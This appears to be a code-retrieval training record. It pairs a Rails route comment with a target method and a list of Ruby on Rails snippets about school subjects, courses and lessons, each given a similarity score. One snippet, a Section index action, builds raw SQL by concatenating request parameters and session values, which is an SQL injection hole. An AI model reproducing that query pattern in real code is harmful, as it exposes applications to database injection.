"def get_subject\n @subject = Subject.find_by_id(params[:id])\n return if check_nil_object(@subject)\n end",
"def show\n @subject = Subject.find(params[:subject_id])\n @lessons = ClassJournal.where(subject: @subject, form: @pupil.form).first.lessons\n end",
"def index\n admin_only\n @subjects = Subject.all\n end",
"def create_subjects_json(subject_list)\n subjects_json = []\n subject_list.each do |subj|\n subjects_json << subj.as_json\n end\n { 'subjects' => subjects_json }.to_json\nend",
"def show\n @semester_subject = SemesterSubject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @semester_subject }\n end\n end",
"def view_subject\n @programme_id = params[:programmeid]\n unless @programme_id.blank? \n @subjects = Subject.find(:all, :joins => :programmes,:conditions => ['programme_id=?', @programme_id])\n end\n render :partial => 'view_subject', :layout => false\n end",
"def subjects_person\n get_item_data_by_name('SubjectPerson')\n end",
"def show\n @subject_source = SubjectSource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject_source }\n end\n end",
"def show\n @subject = Subject.find(params[:id])\n end",
"def attestation_subjects\n beg_sem = semester - 3\n end_sem = semester - 1\n return @attestation_subjects ||= plan_subjects.select do |ps|\n (beg_sem..end_sem).include? ps.finishing_on\n end\n end",
"def show\n @resource = Resource.find(params[:id])\n @terms = Term.all_iit_subjects\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resource }\n end\n end",
"def index\n @subject_teachers = SubjectTeacher.all\n end",
"def retire_subjects\n Pundit.policy!(@user, @klass).scope_for(:retire_subjects)\n end",
"def create\n @school_cycle_has_subject = SchoolCycleHasSubject.new(school_cycle_has_subject_params)\n\n respond_to do |format|\n if @school_cycle_has_subject.save\n format.html { redirect_to [\"asig\",@school_cycle_has_subject], notice: 'La relacion maestro-grupo ha sido creada' }\n format.json { render :show, status: :created, location: @school_cycle_has_subject }\n else\n format.html { render :new }\n format.json { render json: @school_cycle_has_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def by_subject\n @exam = Exam.new\n session[:exam] = @exam\n @subjects = PlanSubject.find_unfinished_for(@user, :subjects => true)\n end",
"def show\n @course = Course.find(params[:id])\n if signed_in?\n @students = @course.students #assigns a student to that course array which it yields\n @teachers = @course.teachers #course array which it yields teachers\n @teacher = @teachers.include?(current_user)\n @student = @students.include?(current_user)\n\n end\n @assignments = Assignment.all\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def subject_specialization\n mg_school_id=session[:current_user_school_id]\n # @examination_hod_logins=MdgExaminationHodLogin.find_by(:mg_user_id=>session[:user_id])\n examination_hod_logins=MgExaminationHodLogin.find_by(:mg_user_id=>session[:user_id])\n employee=MgEmployee.find_by(:id=>examination_hod_logins.mg_employee_id)\n subject=MgSubject.where(:is_deleted=>0, :mg_school_id=>mg_school_id, :mg_employee_specialization_id=>employee.hod_specialization_id)\n @subject_specialization=MgExamSubjectSpecializedEmployees.where(:is_deleted => 0, :mg_school_id=>session[:current_user_school_id], :mg_subject_id=>subject.pluck(:id)).paginate(page: params[:page], per_page: 10)\n \n end",
"def index\n # @subjects = Subject.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Oj.dump(@subjects, mode: :compat) }\n end\n end",
"def school_students(query={})\n self.simple_client.get(\"/api/v1/schools/my/students?#{query.to_query}\")\n end",
"def show\n\n @subject = Subject.find(params[:id])\n\n end",
"def topics_for_course\n redirect_guest\n @course = Course.find(params[:id])\n @topics = @course.topics\n end",
"def show_subjects\n @kw_by_code_keys.each{|key|\t# Iterate thru tags in the same order we read them\n # For this instance (parent ID) of this tag...\n pid, tag = key\n\n h_tag = @kw_by_code[key]\n next unless h_tag['a']\n\n h_tag['a'].each{|s|\n subject = s.sub(/ *thesis *$/i, '')\t# Remove \"thesis\" from end of 695.a\n puts \" <meta tagcode=\\\"subjects.fixed1\\\">#{subject}</meta>\"\n }\n }\n end",
"def index\n if(params[:subject]==nil)\n @sections = Section.all\n @sections = Section.find_by_sql(\"SELECT * FROM `sections`\njoin subjects\non subjects.id = subject_id\nwhere user_id = \n\" + session[:userid])\n else\n session[:subjectid]=params[:subject]\n \n \n @sections = Section.find(:all, :conditions=>\"subject_id = \"+params[:subject]+\" and user_id = \"+session[:userid])\n @subject = Subject.find(:all,:conditions=>\"id = \"+params[:subject])\n flash[:subjectname]=@subject[0].name \n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sections }\n end\n end",
"def index\n @subjects = Subject.all\n page_title(\"Subjects\")\n \n respond_to do |format|\n format.html { render :layout => 'application' }\n end\n end",
"def index\n @preferredsubjects = current_user.preferredsubjects\n end"
] |
[
"0.8250047",
"0.7859793",
"0.72918236",
"0.69697446",
"0.69675344",
"0.66187626",
"0.6572242",
"0.65063876",
"0.6480948",
"0.6432814",
"0.63595474",
"0.63192",
"0.6291933",
"0.627432",
"0.627426",
"0.62609845",
"0.6259299",
"0.62522626",
"0.62480086",
"0.62480086",
"0.62468404",
"0.624277",
"0.61710393",
"0.61393386",
"0.61180615",
"0.6109409",
"0.61014915",
"0.6082224",
"0.60724765",
"0.60701334",
"0.60676557",
"0.6066344",
"0.6060153",
"0.60267997",
"0.60161066",
"0.5997616",
"0.5997525",
"0.5965422",
"0.5963681",
"0.5944815",
"0.594067",
"0.59263116",
"0.59247226",
"0.5911533",
"0.59033626",
"0.58997446",
"0.58952945",
"0.5885327",
"0.58689",
"0.586803",
"0.58642334",
"0.5845685",
"0.58346975",
"0.582857",
"0.5824982",
"0.5817133",
"0.5812967",
"0.5811599",
"0.5809891",
"0.5799898",
"0.579075",
"0.57889855",
"0.57842577",
"0.57814777",
"0.57571846",
"0.57536626",
"0.5719141",
"0.5711099",
"0.57082176",
"0.5701156",
"0.5698057",
"0.5690979",
"0.5671108",
"0.56686044",
"0.5654191",
"0.56237864",
"0.5623094",
"0.5611009",
"0.56099576",
"0.56097054",
"0.5607223",
"0.560492",
"0.56025183",
"0.5601392",
"0.55994433",
"0.55910754",
"0.5585022",
"0.5582765",
"0.5570218",
"0.55664235",
"0.5563988",
"0.5561511",
"0.55600893",
"0.5557973",
"0.554982",
"0.55447507",
"0.55389404",
"0.55150944",
"0.5505971",
"0.5497243"
] |
0.75059223
|
2
|
GET /school_cycle_has_subjects/1 GET /school_cycle_has_subjects/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_subjects\n if params[:c].present?\n sc_id = params[:c].to_i\n subjects = Subject.joins(:school_cycle_has_subjects).where(\"school_cycle_id = ?\", sc_id)\n msg = { \"success\": \"true\", \"subjects\": subjects }\n else\n msg = { \"success\": false, \"subjects\": 0 }\n end\n\n render json: msg\n end",
"def get_subjects\n if params[:s].present?\n s_id = params[:s].to_i\n subjects_by_student = Subject.joins(\"INNER JOIN school_cycle_has_subjects ON subjects.id = school_cycle_has_subjects.subject_id INNER JOIN student_has_subjects ON school_cycle_has_subjects.id = student_has_subjects.school_cycle_has_subject_id\").where(\"student_id = ?\", s_id)\n msg = { \"success\": \"true\", \"subjects\": subjects_by_student }\n else\n msg = { \"success\": false, \"subjects\": 0 }\n end\n\n render json: msg\n end",
"def index\n @school_cycle_has_subjects = SchoolCycleHasSubject.all\n end",
"def cellect_subjects(workflow_id)\n cellect.get '/subjects', workflow_id: workflow_id\n end",
"def get_subject_by_curricular_line\n @subjects = Subject.get_by_career(params[:career_id],params[:cl_id])\n render :json => @subjects\n end",
"def set_school_cycle_has_subject\n @school_cycle_has_subject = SchoolCycleHasSubject.find(params[:id])\n end",
"def index\n @manual_subjects = Manual::Subject.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @manual_subjects }\n end\n end",
"def show\n @curriculums_subject = CurriculumsSubject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @curriculums_subject }\n end\n end",
"def show\n if params[:subject_id]\n @subject = Subject.find(params[:subject_id])\n #category = Category.find(params[:category_id])\n @tutorials = Tutorial.where(:subject_id => @subject)\n else\n @tutorials = Tutorial.all\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end",
"def list_subjects\r\n #TODO only list subjects from my own schools \r\n #because then people can still it \r\n school = School.find(params[:nid]) rescue render_return\r\n render_return if !logged_in_user.see_course?(school)\r\n render_p 'course_display/course_selection',{'caller'=>params[:caller],'school'=>school}\r\n end",
"def show\n @subjects = @teacher.subjects\n respond_with @teacher\n end",
"def index\n @program_subjects = ProgramSubject.all\n end",
"def index\n @course_subjects = CourseSubject.all\n end",
"def list_subjects(study_id)\n act = SubjectListAction.new(self)\n act.get(study_id)\n end",
"def show\n \n id = params[:id].to_i\n \n if id == 0\n @subject = Subject.find_by_subject(params[:id])\n else \n @subject = Subject.find(params[:id])\n end\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end",
"def index\n @subjects = Subject.all\n end",
"def index\n @subjects = Subject.all\n end",
"def index\n @thesubjects = Thesubject.all\n end",
"def index\n @student_subjects = StudentSubject.all\n end",
"def index\n @university_subjects = UniversitySubject.all\n end",
"def show\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end",
"def index\n @subjects = Subject.all\n \n end",
"def show\n @subject = Subject.find(params[:id])\n @chapters = @subject.chapters.page(params[:page])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end",
"def index\n get_work; get_subject\n if @work\n @work_has_subjects = @work.work_has_subjects.page(params[:page])\n elsif @subject\n @work_has_subjects = @subject.work_has_subjects.page(params[:page])\n else\n @work_has_subjects = WorkHasSubject.page(params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @work_has_subjects }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @work_has_subject }\n end\n end",
"def show\n @subject = @client.subjects.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subject }\n end\n end",
"def index\n @mysubjects = Mysubject.all\n end",
"def subject(subject_id, project_id: nil)\n query = {}\n query[:project_id] = project_id if project_id\n\n response = panoptes.get(\"/subjects/#{subject_id}\", query)\n if response.fetch('subjects', []).count > 1\n raise StandardError, 'Unexpectedly many subjects returned'\n end\n\n response.fetch('subjects', []).fetch(0, nil)\n end",
"def index\n @subjects = @client.subjects\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subjects }\n end\n end",
"def school_cycle_has_subject_params\n params.require(:school_cycle_has_subject).permit(:school_cycle_id, :teacher_id, :subject_id, :lunes, :martes, :miercoles, :jueves, :viernes, :sabado, :horario_clases)\n end",
"def index\n @subjects = Subject.all\n #respond_to do |format|\n # format.json { render json: @subjects, status: :ok }\n #end\n #render json: @subjects, status: :ok\n respond_with @subjects\n end",
"def index\n @subjects = subject_scope\n end",
"def show\n\t\t@param_subjects = ParamSubject.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json {render json: @param_subjects}\n\t\tend\n\tend",
"def index\n @user_subjects = UserSubject.all\n end",
"def collect_subjects_with_curriculums( school_class )\n subjects = school_class.curriculums.collect do |c|\n [ c.qualification.subject.subject_name, c.id ]\n end\n end",
"def index\n @tutor_subjects = TutorSubject.all\n end",
"def show\n @manual_subject = Manual::Subject.find(params[:id])\n\n redirect_to manual_subject_laboratories_path(@manual_subject)\n end",
"def index\n @subject = Subject.find(params[:subject_id])\n \n end",
"def show\n @subject_source = SubjectSource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject_source }\n end\n end",
"def index\n @career_subjects = CareerSubject.all\n end",
"def index\n @exam_subjects = ExamSubject.all\n end",
"def show\n @subject = Subject.find(params[:subject_id])\n @lessons = ClassJournal.where(subject: @subject, form: @pupil.form).first.lessons\n end",
"def show\n @resource = Resource.find(params[:id])\n @terms = Term.all_iit_subjects\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resource }\n end\n end",
"def all_subjects\n Subject.current.where(site_id: all_editable_sites.select(:id))\n end",
"def handle_subjects(subjects)\n subjects.each do |link|\n subject = link['_resolved']\n term, *terms = subject['terms']\n code, ind2 = case term['term_type']\n when 'uniform_title'\n ['630', source_to_code(subject['source'])]\n when 'temporal'\n ['648', source_to_code(subject['source'])]\n when 'topical'\n ['650', source_to_code(subject['source'])]\n when 'geographic', 'cultural_context'\n ['651', source_to_code(subject['source'])]\n when 'genre_form', 'style_period'\n ['655', source_to_code(subject['source'])]\n when 'occupation'\n ['656', '7']\n when 'function'\n ['656', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n sfs = [['a', term['term']]]\n\n terms.each do |t|\n tag = case t['term_type']\n when 'uniform_title'; 't'\n when 'genre_form', 'style_period'; 'v'\n when 'topical', 'cultural_context'; 'x'\n when 'temporal'; 'y'\n when 'geographic'; 'z'\n end\n sfs << [tag, t['term']]\n end\n\n if ind2 == '7'\n sfs << ['2', subject['source']]\n end\n\n # add authority ID as subject 6xx $0\n authority_id = subject['authority_id']\n subfield_0 = authority_id ? [0, authority_id] : nil\n sfs.push(subfield_0) unless subfield_0.nil?\n\n ind1 = code == '630' ? \"0\" : \" \"\n df!(code, ind1, ind2).with_sfs(*sfs)\n end\n end",
"def new\n @manual_subject = Manual::Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @manual_subject }\n end\n end",
"def get_students\n @course = Course.find(params[:course_id])\n\n render json: @course.students\n end",
"def index\n @subject_courses_relations = SubjectCoursesRelation.all\n end",
"def show\n @subject = Subject.find(params[:id])\n end",
"def subject(instructor, school)\n school[:instructors].each do |i|\n return i[:subject] if i[:name] == instructor\n end\nend",
"def index\n # @subjects = Subject.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Oj.dump(@subjects, mode: :compat) }\n end\n end",
"def subjects\n links = frm.table(:class=>\"listHier\").links.find_all { |link| link.title=~/View announcement/ }\n subjects = []\n links.each { |link| subjects << link.text }\n return subjects\n end",
"def index\n @q = Subject.search(params[:q])\n @subjects = @q.result(distinct: true).page(params[:page])\n end",
"def new\n @curriculums_subject = CurriculumsSubject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @curriculums_subject }\n end\n end",
"def handle_subjects(subjects)\n subjects.each do |link|\n subject = link['_resolved']\n term, *terms = subject['terms']\n code, ind2 = case term['term_type']\n when 'uniform_title'\n ['630', source_to_code(subject['source'])]\n when 'temporal'\n ['648', source_to_code(subject['source'])]\n # LOCAL: hack to export buildings as 610s, part 1\n when 'topical'\n if subject['source'] == 'built'\n ['610', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n when 'geographic', 'cultural_context'\n ['651', source_to_code(subject['source'])]\n when 'genre_form', 'style_period'\n ['655', source_to_code(subject['source'])]\n when 'occupation'\n ['656', '7']\n when 'function'\n ['656', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n sfs = [['a', term['term']]]\n\n terms.each do |t|\n tag = case t['term_type']\n when 'uniform_title'; 't'\n when 'genre_form', 'style_period'; 'v'\n # LOCAL: occupation == 'x'\n when 'topical', 'cultural_context', 'occupation'; 'x'\n when 'temporal'; 'y'\n when 'geographic'; 'z'\n end\n sfs << [tag, t['term']]\n end\n\n # LOCAL: hack to export buildings as 610s, part 2\n if ind2 == '7'\n if subject['source'] == 'built'\n sfs << ['2', 'local']\n else\n sfs << ['2', subject['source']]\n end\n end\n\n ind1 = code == '630' ? \"0\" : \" \"\n df!(code, ind1, ind2).with_sfs(*sfs)\n end\n end",
"def show\n\n @subject = Subject.find(params[:id])\n\n end",
"def subject_versions(subject)\n get \"/subjects/#{subject}/versions\"\n end",
"def get_group\n if params[:stu].present? && params[:sub].present?\n student_id = params[:stu].to_i\n subject_id = params[:sub].to_i\n student_subject = StudentHasSubject.joins(:school_cycle_has_subject).where(\"student_id = ? AND subject_id = ?\", student_id, subject_id).first\n if student_subject.present?\n msg = { \"success\": \"true\", \"student_subject\": student_subject.id }\n else\n msg = { \"success\": false, \"student_subject\": nil }\n end\n else\n msg = { \"success\": false, \"student_subject\": nil }\n end\n\n render json: msg\n end",
"def show\n @semester_subject = SemesterSubject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @semester_subject }\n end\n end",
"def create\n base_params = subject_params.select {|k,v| k != \"discipline\"}\n @subject = Subject.new(base_params)\n @subject.discipline= Discipline.find(subject_params[:discipline][:id])\n \n if @subject.save\n #respond_with @subject\n render json: @subject\n #format.html { redirect_to @subject, notice: 'Subject was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @subject }\n else\n respond_with @subject.errors, status: :unprocessable_entity\n #format.html { render action: 'new' }\n #format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end",
"def index\n @subjectms = Subjectm.all\n end",
"def get_authorization_subjects_me_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AuthorizationApi.get_authorization_subjects_me ...\"\n end\n \n # resource path\n local_var_path = \"/api/v2/authorization/subjects/me\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuthzSubject')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuthorizationApi#get_authorization_subjects_me\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n # @subjects = Subject.page(params[:page])\n @subjects = case current_user.role.name\n when 'Edutor Admin'\n Subject.page(params[:page])\n when 'Institute Admin'\n #Subject.by_boards_and_published_by(current_user.institution.board_ids,current_user.institution.publisher_ids).page(params[:page])\n Subject.where(:board_id=>current_user.institution.board_ids).page(params[:page])\n when 'Center Representative'\n #Subject.by_boards_and_published_by(current_user.center.board_ids,current_user.institution.publisher_ids).page(params[:page])\n Subject.where(:board_id=>current_user.center.board_ids).page(params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subjects.map{|u| Hash[id: u.id, name: u.name]} }\n end\n end",
"def get_subjects(nums)\n subj_arr = []\n url_array = [\"http://www.swapi.co/api/people\", \"http://www.swapi.co/api/films\",\n \"http://www.swapi.co/api/planets\", \"http://www.swapi.co/api/starships\",\n \"http://www.swapi.co/api/species\"]\n api_array = [\"name\", \"title\", \"name\", \"name\", \"name\"]\n counter = 0\n counter2 = 0\n 10.times do\n if counter == 5\n counter = 0\n end\n url = url_array[counter] + \"/#{nums[counter2]}\"\n api_text = JSON.parse(RestClient.get(url.to_s))\n x = api_text[\"#{api_array[counter]}\"]\n subj_arr << x\n counter = counter + 1\n counter2 = counter2 + 1\n end # end of times loop\n subj_arr\n\nend",
"def create\n @school_cycle_has_subject = SchoolCycleHasSubject.new(school_cycle_has_subject_params)\n\n respond_to do |format|\n if @school_cycle_has_subject.save\n format.html { redirect_to [\"asig\",@school_cycle_has_subject], notice: 'La relacion maestro-grupo ha sido creada' }\n format.json { render :show, status: :created, location: @school_cycle_has_subject }\n else\n format.html { render :new }\n format.json { render json: @school_cycle_has_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def handle_subjects(subjects)\n subjects.each do |link|\n subject = link['_resolved']\n term, *terms = subject['terms']\n ind1 = ' '\n code, *ind2 = case term['term_type']\n when 'uniform_title'\n value = term['term'].split(\" \")[0]\n first_indicator = '0'\n if value\n hsh = {}\n hsh['A'] = '2'\n hsh['An'] = '3'\n hsh['The'] = '4'\n articles = []\n articles = hsh.keys\n first_indicator = hsh[value] if articles.include?(value)\n end\n ['630', first_indicator, source_to_code(subject['source'])]\n when 'temporal'\n ['648', source_to_code(subject['source'])]\n when 'topical'\n ['650', source_to_code(subject['source'])]\n when 'geographic', 'cultural_context'\n ['651', source_to_code(subject['source'])]\n when 'genre_form', 'style_period'\n ['655', source_to_code(subject['source'])]\n when 'occupation'\n ['656', '7']\n when 'function'\n ['656', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n\n sfs = [['a', term['term']]]\n\n terms.each do |t|\n tag = case t['term_type']\n when 'uniform_title'; 't'\n when 'genre_form', 'style_period'; 'v'\n when 'topical', 'cultural_context'; 'x'\n when 'temporal'; 'y'\n when 'geographic'; 'z'\n end\n sfs << [tag, t['term']]\n end\n\n # code borrowed from Yale to export subject authority id\n unless subject['authority_id'].nil?\n sfs << ['0', subject['authority_id']]\n end\n\n \n # N.B. ind2 is an array at this point.\n if ind2[0] == '7'\n sfs << ['2', subject['source']]\n end\n\n # adding this code snippet because I'm making ind2 an array\n # for code 630 if the title begins with an article\n if (ind2.is_a?(Array) && code == '630')\n ind1, ind2 = ind2\n else\n ind2 = ind2[0]\n end\n\n df!(code, ind1, ind2).with_sfs(*sfs)\n end\n end",
"def list_subjects_from_metaportal(url)\n act = MetaportalSubjectListAction.new(self)\n act.get(url)\n end",
"def show\n @study_course = StudyCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @study_course }\n end\n end",
"def new\n get_work; get_subject\n @work_has_subject = WorkHasSubject.new(:work => @work, :subject => @subject)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @work_has_subject }\n end\n end",
"def get_subject\n @subject = Subject.find_by_id(params[:id])\n return if check_nil_object(@subject)\n end",
"def index\n @subjects_users = SubjectsUser.all\n end",
"def get_subject\n @pcp_subject = PcpSubject.find( params[ :pcp_subject_id ])\n end",
"def show\n @student_sub_course = StudentSubCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_sub_course }\n end\n end",
"def for_subjects(subjects)\n result = Hash[subjects.map {|node| [node, false]}]\n subjects_by_id = Hash[subjects.map {|subject| [subject.id, subject]}]\n subject_rlshp_sources = Hash.new { |h, k| h[k] = [] }\n [:subject, :subject_agent_subrecord, :subject_agent_subrecord_place].each do |t|\n Subject.relationship_dependencies[t].each { |d| subject_rlshp_sources[d] << t }\n end\n\n subject_rlshp_sources.each do |model, sources|\n sources.each do |source|\n # i.e. one or more: subject_rlshp, subject_agent_subrecord_rlshp, subject_agent_subrecord_place_rlshp\n link_relationship = model.find_relationship(source)\n link_table = link_relationship.table_name\n\n link_relationship.reference_columns_for(model).each do |model_link_column|\n link_relationship.reference_columns_for(Subject).each do |subject_link_column|\n # Join subject_rlshp to (e.g.) accession\n linked_records = model\n .join(link_table,\n Sequel.qualify(link_table, model_link_column) => Sequel.qualify(model.table_name, :id))\n .filter(Sequel.qualify(link_table, subject_link_column) => subjects_by_id.keys)\n .select(Sequel.qualify(model.table_name, :id),\n Sequel.qualify(model.table_name, :publish),\n Sequel.qualify(model.table_name, :suppressed),\n Sequel.as(Sequel.qualify(link_table, subject_link_column),\n :subject_id))\n\n if model.columns.include?(:repo_id)\n linked_records = linked_records\n .select_append(Sequel.as(Sequel.qualify(model.table_name, :repo_id),\n :repository_id))\n end\n\n published_status = if model.included_modules.include?(TreeNodes)\n for_tree_nodes(linked_records\n .select_append(Sequel.qualify(model.table_name, :parent_id),\n Sequel.qualify(model.table_name, :root_record_id))\n .all)\n elsif model.to_s =~ /^Agent/\n for_agents_linked_to_subject(linked_records.all)\n else\n for_top_level_records(linked_records.all)\n end\n\n published_status.each do |linked_record, published|\n if published\n result[subjects_by_id.fetch(linked_record[:subject_id])] = true\n end\n end\n end\n end\n end\n end\n\n result\n end",
"def show\n @classtable = Classtable.find(params[:id])\n #@classtable = Classtable.find(:all, :conditions => { :school_id => @classtable1.id })\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @classtable }\n end\n end",
"def index\n @subjects = Subject.all\n page_title(\"Subjects\")\n \n respond_to do |format|\n format.html { render :layout => 'application' }\n end\n end",
"def count_subjects\n Subject.count(:id)\n end",
"def new\n @title = \"New Subject\"\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subject }\n end\n end",
"def show\n #@lesson = Lesson.find(params[:id])\n @lesson = @course.lessons.find(params[:id])\n @lessons = @course.lessons.all\n @courses = Course.all\n @pages = @lesson.pages.all\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @lesson }\n end\n end",
"def destroy\n @school_cycle_has_subject.destroy\n respond_to do |format|\n format.html { redirect_to asig_school_cycle_has_subjects_path, notice: 'School cycle has subject was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @curriculum_subjects = Subject.all.where(is_core: false, is_pivats: false, is_lunch: false, is_tutorial: false, is_ppa: false)\n @core_subjects = Subject.all.where(is_core: true, is_pivats: false)\n authorize @curriculum_subjects\n\n @subject = Subject.new\n @subject.sub_subjects.build\n # authorize @curriculum_subjects\n\n end",
"def show\n @clinical_course = ClinicalCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinical_course }\n end\n end",
"def index\n @user = User.find(session[:user_id])\n @schools = @user.schools\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @schools }\n end\n end",
"def index\n \t@subjects = Subject.sorted\n # byebug\n respond_to do |format|\n format.html # index.html.erb\n # TODO: format.json { render json: @subjects }\n end\n end",
"def get_subject2\n @subject = Subject.find_by_id(params[:subject_id])\n return if check_nil_object(@subject)\n end",
"def update\n respond_to do |format|\n if @school_cycle_has_subject.update(school_cycle_has_subject_params)\n format.html { redirect_to [\"asig\",@school_cycle_has_subject], notice: 'School cycle has subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @school_cycle_has_subject }\n else\n format.html { render :edit }\n format.json { render json: @school_cycle_has_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @subject_teachers = SubjectTeacher.all\n end",
"def subjects\n @graphs.inject([]) {|memo, g| memo += g.subjects}\n end",
"def index\n @title = \"Subjects\"\n @subjects = Subject.paginate :page=>params[:page], :per_page => 100, :order => 'subject'\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subjects }\n end\n end",
"def show\n @user_subject = UserSubject.find(params[:id])\n end",
"def index\n @study_courses = StudyCourse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @study_courses }\n end\n end",
"def show\n teacher = Teacher.find(params[:id])\n render json: {status: 'SUCCESS', message: 'Loaded teacher', data: teacher}, include:'school', status: :ok\n end",
"def create\n @university_subject = UniversitySubject.new(university_subject_params)\n\n respond_to do |format|\n if @university_subject.save\n format.html { redirect_to @university_subject, notice: 'University subject was successfully created.' }\n format.json { render action: 'show', status: :created, location: @university_subject }\n else\n format.html { render action: 'new' }\n format.json { render json: @university_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @disciplines_study }\r\n end\r\n end",
"def get_chapters\n @subject = Subject.find(params[:id]) unless params[:id].blank?\n if current_user.is?(\"EA\") or current_user.is?(\"IA\")\n list = @subject.chapters.map {|u| Hash[value: u.id, name: u.name]}\n else\n chapter_ids = ContentUserLayout.get_unlocked_chapters(@subject,current_user)\n if !chapter_ids.nil?\n list = @subject.chapters.where(:id=>chapter_ids).map {|u| Hash[value: u.id, name: u.name]}\n else\n list = @subject.chapters.map {|u| Hash[value: u.id, name: u.name]}\n end\n end\n render json: list\n end",
"def create_subjects_json(subject_list)\n subjects_json = []\n subject_list.each do |subj|\n subjects_json << subj.as_json\n end\n { 'subjects' => subjects_json }.to_json\nend",
"def show\n @lab = Lab.find(params[:id])\n @lab_student = Student.where(\"cname = ?\",@lab.course.name)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab }\n end\n end",
"def show\n @course = Course.find(params[:id])\n if signed_in?\n @students = @course.students #assigns a student to that course array which it yields\n @teachers = @course.teachers #course array which it yields teachers\n @teacher = @teachers.include?(current_user)\n @student = @students.include?(current_user)\n\n end\n @assignments = Assignment.all\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def unfinished_subjects(param = nil)\n @unfinished_subjects ||= plan_subjects - self.finished_subjects\n\n if param == :subjects\n return @unfinished_subjects.map {|p| p.subject}\n else\n return @unfinished_subjects\n end\n end",
"def view_subject\n @programme_id = params[:programmeid]\n unless @programme_id.blank? \n @subjects = Subject.find(:all, :joins => :programmes,:conditions => ['programme_id=?', @programme_id])\n end\n render :partial => 'view_subject', :layout => false\n end",
"def index\n #@lessons = Lesson.all\n @lessons = @course.lessons.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lessons }\n end\n end"
] |
[
"0.8099305",
"0.76864564",
"0.74699354",
"0.71605575",
"0.70073044",
"0.69595957",
"0.6805312",
"0.6750411",
"0.6686584",
"0.66773075",
"0.6485978",
"0.647921",
"0.64334124",
"0.6422973",
"0.6405134",
"0.6383223",
"0.6383223",
"0.6368782",
"0.634731",
"0.6340893",
"0.63406694",
"0.6320387",
"0.6317951",
"0.6306328",
"0.626621",
"0.62368166",
"0.62089014",
"0.6190406",
"0.6182496",
"0.61739004",
"0.61718065",
"0.6140984",
"0.6122879",
"0.61158633",
"0.61069804",
"0.6103383",
"0.60846406",
